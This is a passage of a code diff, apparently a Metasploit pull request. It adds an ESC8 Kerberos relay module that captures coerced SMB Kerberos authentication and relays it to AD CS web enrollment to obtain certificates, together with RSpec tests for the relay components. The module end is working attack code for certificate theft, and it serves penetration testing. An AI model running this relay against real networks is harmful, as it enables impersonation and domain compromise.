=> [ + 'Pushpender Rathore' # Kerberos relay + ], + 'References' => [ + ['CVE', '2026-20929'], + ['ATT&CK', Mitre::Attack::Technique::T1557_ADVERSARY_IN_THE_MIDDLE], + ['ATT&CK', Mitre::Attack::Technique::T1649_STEAL_OR_FORGE_AUTHENTICATION_CERTIFICATES] + ], + 'License' => MSF_LICENSE, + 'Actions' => [[ 'Relay', { 'Description' => 'Run SMB ESC8 Kerberos relay server' } ]], + # The relayed connection is already authenticated by the AP-REQ, so + # follow-up enrollment requests must not attempt to re-authenticate. + 'DefaultOptions' => { 'HTTP::Auth' => 'None' }, + 'PassiveActions' => [ 'Relay' ], + 'DefaultAction' => 'Relay', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [IOC_IN_LOGS], + 'Reliability' => [] + } + }) + + register_options( + [ + OptEnum.new('MODE', [ true, 'The issue mode.', 'AUTO', %w[ALL AUTO QUERY_ONLY SPECIFIC_TEMPLATE]]), + OptString.new('CERT_TEMPLATE', [ false, 'The template to issue if MODE is SPECIFIC_TEMPLATE.' ], conditions: %w[MODE == SPECIFIC_TEMPLATE]), + OptString.new('TARGETURI', [ true, 'The URI for the cert server.', '/certsrv/' ]), + OptString.new('RELAY_IDENTITY', [ true, 'The coerced principal being relayed (e.g. DOMAIN\\HOST$). The Kerberos AP-REQ carries the identity encrypted, so it is supplied here for template selection and certificate labeling.' ]) + ] + ) + + register_advanced_options( + [ + OptBool.new('RANDOMIZE_TARGETS', [true, 'Whether the relay targets should be randomized', true]) + ] + ) + @issued_certs = {} + end + + def relay_targets + Msf::Exploit::Remote::Relay::TargetList.new( + (datastore['SSL'] ? :https : :http), + datastore['RPORT'], + datastore['RHOSTS'], + datastore['TARGETURI'], + randomize_targets: datastore['RANDOMIZE_TARGETS'] + ) + end + + def check_host(target_ip) + res = send_request_raw( + { + 'rhost' => target_ip, + 'method' => 'GET', + 'uri' => normalize_uri(target_uri), + 'headers' => { + 'Accept-Encoding' => 'identity' + } + } + ) + disconnect + + return Exploit::CheckCode::Unknown('No response received from target') if res.nil? + unless res.code == 401 + return Exploit::CheckCode::Safe('The target does not require authentication.') + end + + unless res.headers['WWW-Authenticate'].to_s.include?('Negotiate') + return Exploit::CheckCode::Safe('The target does not offer Negotiate (Kerberos) authentication.') + end + + if datastore['SSL'] + # over SSL, channel binding (EPA) may or may not be enforced, so downgrade to Detected + Exploit::CheckCode::Detected('Server replied that authentication is required and Negotiate is supported. Target is over SSL, Extended Protection for Authentication (EPA) may or may not be enabled.') + else + Exploit::CheckCode::Appears('Server replied that authentication is required and Negotiate is supported.') + end + end + + def validate + errors = {} + + case datastore['MODE'] + when 'SPECIFIC_TEMPLATE' + if datastore['CERT_TEMPLATE'].blank? + errors['CERT_TEMPLATE'] = 'CERT_TEMPLATE must be set when MODE is SPECIFIC_TEMPLATE.' + end + when 'ALL', 'AUTO', 'QUERY_ONLY' + unless datastore['CERT_TEMPLATE'].nil? || datastore['CERT_TEMPLATE'].blank? + print_warning('CERT_TEMPLATE is ignored in ALL, AUTO, and QUERY_ONLY modes.') + end + end + + raise OptionValidateError, errors unless errors.empty? + + super + end + + def run + relay_targets.each do |target| + vprint_status("Checking endpoint on #{target}") + check_code = check_host(target.ip) + if [Exploit::CheckCode::Unknown, Exploit::CheckCode::Safe].include?(check_code) + fail_with(Failure::UnexpectedReply, "Web Enrollment does not appear to be enabled on #{target}") + end + end + + start_service + print_status('Server started.') + + # Wait on the service to stop + service.wait if service + end + + def on_relay_success(relay_connection:, relay_identity:) + # The AP-REQ carries the client identity encrypted to the target service, so + # it is not recovered from the wire; fall back to the operator-supplied + # RELAY_IDENTITY for template selection and certificate labeling. + identity = relay_identity.presence || datastore['RELAY_IDENTITY'] + + case datastore['MODE'] + when 'AUTO' + cert_template = identity.end_with?('$') ? ['DomainController', 'Machine'] : ['User'] + retrieve_certs(relay_connection, identity, cert_template) + when 'ALL', 'QUERY_ONLY' + cert_templates = get_cert_templates(relay_connection) + unless cert_templates.nil? || cert_templates.empty? + print_status('***Templates with CT_FLAG_MACHINE_TYPE set like Machine and DomainController will not display as available, even if they are.***') + print_good("Available Certificates for #{identity}: #{cert_templates.join(', ')}") + if datastore['MODE'] == 'ALL' + retrieve_certs(relay_connection, identity, cert_templates) + end + end + when 'SPECIFIC_TEMPLATE' + retrieve_cert(relay_connection, identity, datastore['CERT_TEMPLATE']) + end + + vprint_status('Relay tasks complete; waiting for next login attempt.') + relay_connection.disconnect! + end +end diff --git a/spec/lib/msf/core/exploit/remote/relay/kerberos/gss_ap_req_spec.rb b/spec/lib/msf/core/exploit/remote/relay/kerberos/gss_ap_req_spec.rb new file mode 100644 index 0000000000000..5cbf0b4e73cbc --- /dev/null +++ b/spec/lib/msf/core/exploit/remote/relay/kerberos/gss_ap_req_spec.rb @@ -0,0 +1,107 @@ +# -*- coding: binary -*- + +require 'spec_helper' +require 'msf/core/exploit/remote/relay/kerberos/gss_ap_req' + +RSpec.describe Msf::Exploit::Remote::Relay::Kerberos::GssApReq do + subject do + Class.new do + include Msf::Exploit::Remote::Relay::Kerberos::GssApReq + end.new + end + + # A distinctive stand-in for the AP-REQ. The extractor treats it as opaque, so + # any DER payload round-trips; a Sequence keeps it realistic without needing a + # full ticket/authenticator to build a real AP-REQ. + let(:ap_req_der) do + OpenSSL::ASN1::Sequence.new([OpenSSL::ASN1::OctetString.new('AP-REQ-PAYLOAD')]).to_der + end + + # Bare GSS Kerberos token: [APPLICATION 0]{ OID, tok_id + AP-REQ }. + # Mirrors ServiceAuthenticator #encode_gss_kerberos_ap_request. + def gss_kerberos_token(tok_id, payload, oid: Rex::Proto::Gss::OID_KERBEROS_5) + OpenSSL::ASN1::ASN1Data.new([oid, (tok_id + payload).b], 0, :APPLICATION).to_der + end + + # SPNEGO NegTokenInit wrapping a mech token. + # Mirrors ServiceAuthenticator #encode_gss_spnego_ap_request. + def spnego_token(mech_token) + OpenSSL::ASN1::ASN1Data.new([ + Rex::Proto::Gss::OID_SPNEGO, + OpenSSL::ASN1::ASN1Data.new([ + OpenSSL::ASN1::Sequence.new([ + OpenSSL::ASN1::ASN1Data.new([ + OpenSSL::ASN1::Sequence.new([Rex::Proto::Gss::OID_MICROSOFT_KERBEROS_5]) + ], 0, :CONTEXT_SPECIFIC), + OpenSSL::ASN1::ASN1Data.new([ + OpenSSL::ASN1::OctetString.new(mech_token) + ], 2, :CONTEXT_SPECIFIC) + ]) + ], 0, :CONTEXT_SPECIFIC) + ], 0, :APPLICATION).to_der + end + + let(:ap_req_tok_id) { "\x01\x00".b } + let(:ap_rep_tok_id) { "\x02\x00".b } + + let(:bare_kerberos_blob) { gss_kerberos_token(ap_req_tok_id, ap_req_der) } + let(:spnego_kerberos_blob) { spnego_token(gss_kerberos_token(ap_req_tok_id, ap_req_der)) } + let(:ntlm_blob) { spnego_token("NTLMSSP\x00\x01".b) } + + describe '#extract_ap_req' do + it 'recovers the AP-REQ from a bare GSS Kerberos token' do + expect(subject.extract_ap_req(bare_kerberos_blob)).to eq(ap_req_der) + end + + it 'recovers the AP-REQ from a SPNEGO-wrapped token' do + expect(subject.extract_ap_req(spnego_kerberos_blob)).to eq(ap_req_der) + end + + it 'raises when the GSS mechanism is not Kerberos' do + expect { subject.extract_ap_req(ntlm_blob) } + .to raise_error(ArgumentError, /does not contain a Kerberos mechanism/) + end + + it 'raises when the Kerberos token is not an AP-REQ' do + blob = gss_kerberos_token(ap_rep_tok_id, ap_req_der) + expect { subject.extract_ap_req(blob) } + .to raise_error(ArgumentError, /not an AP-REQ/) + end + end + + describe '#kerberos_ap_req?' do + it 'is true for a bare GSS Kerberos AP-REQ' do + expect(subject.kerberos_ap_req?(bare_kerberos_blob)).to be(true) + end + + it 'is true for a SPNEGO-wrapped AP-REQ' do + expect(subject.kerberos_ap_req?(spnego_kerberos_blob)).to be(true) + end + + it 'is false for an NTLM message' do + expect(subject.kerberos_ap_req?(ntlm_blob)).to be(false) + end + + it 'is false for a non-ASN.1 blob' do + expect(subject.kerberos_ap_req?('not asn1 at all')).to be(false) + end + end + + describe '#build_spnego_ap_req' do + it 'produces a SPNEGO blob that #extract_ap_req reads back to the same AP-REQ' do + blob = subject.build_spnego_ap_req(ap_req_der) + expect(subject.extract_ap_req(blob)).to eq(ap_req_der) + end + + it 'produces a blob recognized as a Kerberos AP-REQ' do + blob = subject.build_spnego_ap_req(ap_req_der) + expect(subject.kerberos_ap_req?(blob)).to be(true) + end + + it 'round-trips an AP-REQ captured from a client token unchanged' do + captured = subject.extract_ap_req(spnego_kerberos_blob) + rebuilt = subject.build_spnego_ap_req(captured) + expect(subject.extract_ap_req(rebuilt)).to eq(captured) + end + end +end diff --git a/spec/lib/msf/core/exploit/remote/relay/kerberos/relay_handler_spec.rb b/spec/lib/msf/core/exploit/remote/relay/kerberos/relay_handler_spec.rb new file mode 100644 index 0000000000000..2c5ad7b580639 --- /dev/null +++ b/spec/lib/msf/core/exploit/remote/relay/kerberos/relay_handler_spec.rb @@ -0,0 +1,72 @@ +# -*- coding: binary -*- + +require 'spec_helper' + +RSpec.describe Msf::Exploit::Remote::Relay::Kerberos::RelayHandler do + let(:logger) { double('logger', print_status: nil, print_good: nil, print_warning: nil) } + + subject do + log = logger + Class.new do + include Msf::Exploit::Remote::Relay::Kerberos::RelayHandler + define_method(:logger) { log } + end.new + end + + # A helper that can build/extract the same GSS AP-REQ blobs the handler sees. + let(:gss) { Class.new { include Msf::Exploit::Remote::Relay::Kerberos::GssApReq }.new } + let(:ap_req_der) { OpenSSL::ASN1::Sequence.new([OpenSSL::ASN1::OctetString.new('AP-REQ')]).to_der } + let(:kerberos_blob) { gss.build_spnego_ap_req(ap_req_der) } + let(:ntlm_blob) { "NTLMSSP\x00\x01\x00\x00\x00".b } + + let(:client) { double('target client', relay_ap_req: nil, disconnect!: nil) } + let(:target) { double('target', to_s: 'http://ca/certsrv') } + let(:relay_targets) { double('relay_targets', on_relay_end: nil) } + let(:listener) { double('listener', on_relay_success: nil, on_relay_failure: nil) } + + def result(success) + Msf::Exploit::Remote::Relay::Kerberos::Target::RelayResult.new(success: success) + end + + describe '#relay_kerberos' do + it 'ignores a non-Kerberos (NTLM) token without touching the target' do + expect(client).not_to receive(:relay_ap_req) + expect(subject.relay_kerberos(ntlm_blob, client: client, target: target)).to be_nil + end + + it 'forwards the extracted AP-REQ to the target client' do + allow(client).to receive(:relay_ap_req).with(ap_req_der).and_return(result(true)) + subject.relay_kerberos(kerberos_blob, client: client, target: target) + expect(client).to have_received(:relay_ap_req).with(ap_req_der) + end + + it 'notifies success and marks the relay end on a successful relay' do + allow(client).to receive(:relay_ap_req).and_return(result(true)) + + subject.relay_kerberos( + kerberos_blob, client: client, target: target, + relay_targets: relay_targets, listener: listener, identity: 'WIN$' + ) + + expect(listener).to have_received(:on_relay_success).with(relay_connection: client, relay_identity: 'WIN$') + expect(relay_targets).to have_received(:on_relay_end).with(target, identity: 'WIN$', is_success: true) + end + + it 'notifies failure and disconnects when the target rejects the AP-REQ' do + allow(client).to receive(:relay_ap_req).and_return(result(false)) + + subject.relay_kerberos(kerberos_blob, client: client, target: target, listener: listener) + + expect(listener).to have_received(:on_relay_failure).with(relay_connection: client) + expect(client).to have_received(:disconnect!) + end + + it 'treats a missing response as a failure' do + allow(client).to receive(:relay_ap_req).and_return(nil) + + subject.relay_kerberos(kerberos_blob, client: client, target: target, listener: listener) + + expect(listener).to have_received(:on_relay_failure) + end + end +end diff --git a/spec/lib/msf/core/exploit/remote/relay/kerberos/target/http/client_spec.rb b/spec/lib/msf/core/exploit/remote/relay/kerberos/target/http/client_spec.rb new file mode 100644 index 0000000000000..b2c3679d43e98 --- /dev/null +++ b/spec/lib/msf/core/exploit/remote/relay/kerberos/target/http/client_spec.rb @@ -0,0 +1,87 @@ +# -*- coding: binary -*- + +require 'spec_helper' + +RSpec.describe Msf::Exploit::Remote::Relay::Kerberos::Target::HTTP::Client do + let(:http_client) { instance_double(Rex::Proto::Http::Client) } + let(:target) { double('target', path: '/certsrv/certfnsh.asp') } + let(:logger) { double('logger', print_error: nil) } + let(:req) { double('request') } + + subject { described_class.new(client: http_client, target: target, logger: logger) } + + let(:ap_req_der) do + OpenSSL::ASN1::Sequence.new([OpenSSL::ASN1::OctetString.new('AP-REQ')]).to_der + end + + # What the Negotiate header should carry: the AP-REQ re-wrapped as GSS-SPNEGO. + let(:expected_blob) do + gss = Class.new { include Msf::Exploit::Remote::Relay::Kerberos::GssApReq }.new + Base64.strict_encode64(gss.build_spnego_ap_req(ap_req_der)) + end + + def http_response(code) + double('response', code: code) + end + + describe '#relay_ap_req' do + it 'sends the AP-REQ as a SPNEGO Negotiate header to the target path' do + expect(http_client).to receive(:request_raw).with( + hash_including( + 'method' => 'GET', + 'uri' => '/certsrv/certfnsh.asp', + 'headers' => hash_including('Authorization' => "Negotiate #{expected_blob}") + ) + ).and_return(req) + allow(http_client).to receive(:send_recv).with(req, -1, true).and_return(http_response(200)) + + subject.relay_ap_req(ap_req_der) + end + + it 'reports success on a 2xx response' do + allow(http_client).to receive(:request_raw).and_return(req) + allow(http_client).to receive(:send_recv).and_return(http_response(200)) + + result = subject.relay_ap_req(ap_req_der) + expect(result.success).to be(true) + expect(result.message.code).to eq(200) + end + + it 'reports failure on a 401 response' do + allow(http_client).to receive(:request_raw).and_return(req) + allow(http_client).to receive(:send_recv).and_return(http_response(401)) + + expect(subject.relay_ap_req(ap_req_der).success).to be(false) + end + + it 'returns nil and logs when no HTTP response is received' do + allow(http_client).to receive(:request_raw).and_return(req) + allow(http_client).to receive(:send_recv).and_return(nil) + + expect(logger).to receive(:print_error) + expect(subject.relay_ap_req(ap_req_der)).to be_nil + end + end + + # After a successful relay the connection is authenticated for its lifetime, + # so a calling module (e.g. the ESC8 target) drives follow-up requests through + # the client as if it were an HTTP client. send_request_raw('client' => it) + # reaches these methods. + describe 'reuse as an authenticated HTTP client' do + it 'delegates request_raw to the underlying HTTP client' do + expect(http_client).to receive(:request_raw).with('method' => 'GET').and_return(req) + expect(subject.request_raw('method' => 'GET')).to eq(req) + end + + it 'delegates request_cgi to the underlying HTTP client' do + expect(http_client).to receive(:request_cgi).with('method' => 'POST').and_return(req) + expect(subject.request_cgi('method' => 'POST')).to eq(req) + end + + it 'sends follow-up requests on the connection, keeping it persistent by default' do + response = http_response(200) + expect(http_client).to receive(:send_recv).with(req, -1, true).and_return(response) + expect(subject.send_recv(req)).to eq(response) + end + end +end diff --git a/spec/lib/msf/core/exploit/remote/relay/kerberos/target_spec.rb b/spec/lib/msf/core/exploit/remote/relay/kerberos/target_spec.rb new file mode 100644 index 0000000000000..bd67ed98acd89 --- /dev/null +++ b/spec/lib/msf/core/exploit/remote/relay/kerberos/target_spec.rb @@ -0,0 +1,28 @@ +# -*- coding: binary -*- + +require 'spec_helper' + +RSpec.describe Msf::Exploit::Remote::Relay::Kerberos::Target do + describe '.create_client' do + let(:provider) { double('provider') } + let(:logger) { double('logger') } + + it 'builds an HTTP client for an http target' do + target = double('target', protocol: :http) + expect(described_class::HTTP::Client).to receive(:create).with(provider, target, logger, -1) + described_class.create_client(provider, target, logger, -1) + end + + it 'builds an HTTP client for an https target' do + target = double('target', protocol: :https) + expect(described_class::HTTP::Client).to receive(:create).with(provider, target, logger, -1) + described_class.create_client(provider, target, logger, -1) + end + + it 'raises for an unsupported target protocol' do + target = double('target', protocol: :ldap) + expect { described_class.create_client(provider, target, logger, -1) } + .to raise_error(ArgumentError, /unsupported Kerberos relay target protocol: ldap/) + end + end +end diff --git a/spec/lib/msf/core/exploit/remote/smb/relay/kerberos/relay_server_spec.rb b/spec/lib/msf/core/exploit/remote/smb/relay/kerberos/relay_server_spec.rb new file mode 100644 index 0000000000000..44a3fbfc4a8f9 --- /dev/null +++ b/spec/lib/msf/core/exploit/remote/smb/relay/kerberos/relay_server_spec.rb @@ -0,0 +1,67 @@ +# -*- coding: binary -*- + +require 'spec_helper' + +RSpec.describe Msf::Exploit::Remote::SMB::Relay::Kerberos::RelayServer do + describe described_class::KerberosSMBRelayServer do + let(:options) do + { + socket: { 'LocalHost' => '10.0.0.1', 'LocalPort' => 4445 }, + smb_server: { gss_provider: double('provider'), relay_targets: double('targets') } + } + end + + subject { described_class.new(options) } + + describe '.sock_options_for' do + it 'defaults the bind host/port and lets the caller override them' do + expect(described_class.sock_options_for(options)).to include( + 'LocalHost' => '10.0.0.1', + 'LocalPort' => 4445 + ) + end + + it 'falls back to 0.0.0.0:445 when unset' do + expect(described_class.sock_options_for(socket: {})).to eq( + 'LocalHost' => '0.0.0.0', + 'LocalPort' => 445 + ) + end + end + + describe '.hardcore_alias' do + it 'derives from the bind host and port' do + expect(described_class.hardcore_alias(options)).to eq('10.0.0.14445') + end + end + + describe '#smb_server_options' do + it 'binds the listener socket into the Kerberos server options' do + sock = double('listener_sock') + opts = subject.send(:smb_server_options, sock) + expect(opts[:server_sock]).to eq(sock) + expect(opts[:relay_targets]).to eq(options[:smb_server][:relay_targets]) + end + end + + describe '#stop' do + it 'does not raise when nothing was started' do + expect { subject.stop }.not_to raise_error + end + end + end + + describe 'contract for the including module' do + # A bare host for the mixin's default hooks, bypassing the Msf module + # constructor chain (register_options et al. need the full module machinery). + let(:host) { Object.new.tap { |o| o.extend(described_class) } } + + it 'requires the including module to define relay_targets' do + expect { host.relay_targets }.to raise_error(NotImplementedError) + end + + it 'treats on_relay_failure as a noop' do + expect(host.on_relay_failure(relay_connection: double('conn'))).to be_nil + end + end +end diff --git a/spec/lib/msf/core/exploit/remote/smb/relay/kerberos/server_client_spec.rb b/spec/lib/msf/core/exploit/remote/smb/relay/kerberos/server_client_spec.rb new file mode 100644 index 0000000000000..7ba262b2a765c --- /dev/null +++ b/spec/lib/msf/core/exploit/remote/smb/relay/kerberos/server_client_spec.rb @@ -0,0 +1,67 @@ +# -*- coding: binary -*- + +require 'spec_helper' + +RSpec.describe Msf::Exploit::Remote::SMB::Relay::Kerberos::ServerClient do + let(:logger) { double('logger', print_status: nil, print_good: nil, print_warning: nil) } + let(:relay_targets) { double('relay_targets', on_relay_end: nil) } + let(:listener) { double('listener', on_relay_success: nil, on_relay_failure: nil) } + let(:target) { double('target', to_s: 'http://ca/certsrv', protocol: :http) } + + let(:gss) { Class.new { include Msf::Exploit::Remote::Relay::Kerberos::GssApReq }.new } + let(:ap_req_der) { OpenSSL::ASN1::Sequence.new([OpenSSL::ASN1::OctetString.new('AP-REQ')]).to_der } + let(:kerberos_blob) { gss.build_spnego_ap_req(ap_req_der) } + + # Build the client without RubySMB's heavy socket-bound constructor. + subject do + sc = described_class.allocate + sc.instance_variable_set(:@relay_targets, relay_targets) + sc.instance_variable_set(:@relay_timeout, -1) + sc.instance_variable_set(:@listener, listener) + allow(sc).to receive(:logger).and_return(logger) + sc + end + + let(:target_module) { Msf::Exploit::Remote::Relay::Kerberos::Target } + + describe '#relay_captured_ap_req' do + it 'relays the captured AP-REQ to the SPN-matching target' do + client = double('client', relay_ap_req: target_module::RelayResult.new(success: true), disconnect!: nil) + allow(relay_targets).to receive(:next).with(nil).and_return(target) + allow(target_module).to receive(:create_client).with(subject, target, logger, -1).and_return(client) + + result = subject.relay_captured_ap_req(kerberos_blob) + + expect(client).to have_received(:relay_ap_req).with(ap_req_der) + expect(result.success).to be(true) + end + + it 'returns nil without building a client when no target is available' do + allow(relay_targets).to receive(:next).and_return(nil) + expect(target_module).not_to receive(:create_client) + expect(subject.relay_captured_ap_req(kerberos_blob)).to be_nil + end + end + + describe '#build_session_setup_response' do + let(:request) do + req = RubySMB::SMB2::Packet::SessionSetupRequest.new + req.smb2_header.session_id = 0x1234 + req.smb2_header.message_id = 7 + req + end + let(:session) { double('session') } + + it 'returns STATUS_SUCCESS and preserves the session id on a successful relay' do + result = target_module::RelayResult.new(success: true) + resp = subject.send(:build_session_setup_response, request, session, result) + expect(resp.smb2_header.nt_status).to eq(WindowsError::NTStatus::STATUS_SUCCESS.value) + expect(resp.smb2_header.session_id).to eq(0x1234) + end + + it 'returns STATUS_LOGON_FAILURE when the relay failed or was nil' do + resp = subject.send(:build_session_setup_response, request, session, nil) + expect(resp.smb2_header.nt_status).to eq(WindowsError::NTStatus::STATUS_LOGON_FAILURE.value) + end + end +end diff --git a/spec/lib/msf/core/exploit/remote/smb/relay/kerberos/server_spec.rb b/spec/lib/msf/core/exploit/remote/smb/relay/kerberos/server_spec.rb new file mode 100644 index 0000000000000..1a969e98c69d2 --- /dev/null +++ b/spec/lib/msf/core/exploit/remote/smb/relay/kerberos/server_spec.rb @@ -0,0 +1,39 @@ +# -*- coding: binary -*- + +require 'spec_helper' + +RSpec.describe Msf::Exploit::Remote::SMB::Relay::Kerberos::Server do + # Build without RubySMB::Server's socket-bound constructor. + subject do + s = described_class.allocate + s.instance_variable_set(:@closed, false) + s.instance_variable_set(:@connections, connections) + s + end + + let(:thread) { double('thread', kill: nil) } + let(:connections) { [double('connection', thread: thread)] } + + describe '#closed?' do + it 'is false until closed' do + expect(subject.closed?).to be(false) + end + end + + describe '#close' do + it 'marks the server closed and kills each connection thread' do + subject.close + expect(subject.closed?).to be(true) + expect(thread).to have_received(:kill) + end + + it 'keeps closing remaining connections if one fails to stop' do + bad = double('connection', thread: double('thread', kill: nil)) + allow(bad.thread).to receive(:kill).and_raise(StandardError, 'boom') + subject.instance_variable_set(:@connections, [bad, connections.first]) + + expect { subject.close }.not_to raise_error + expect(thread).to have_received(:kill) + end + end +end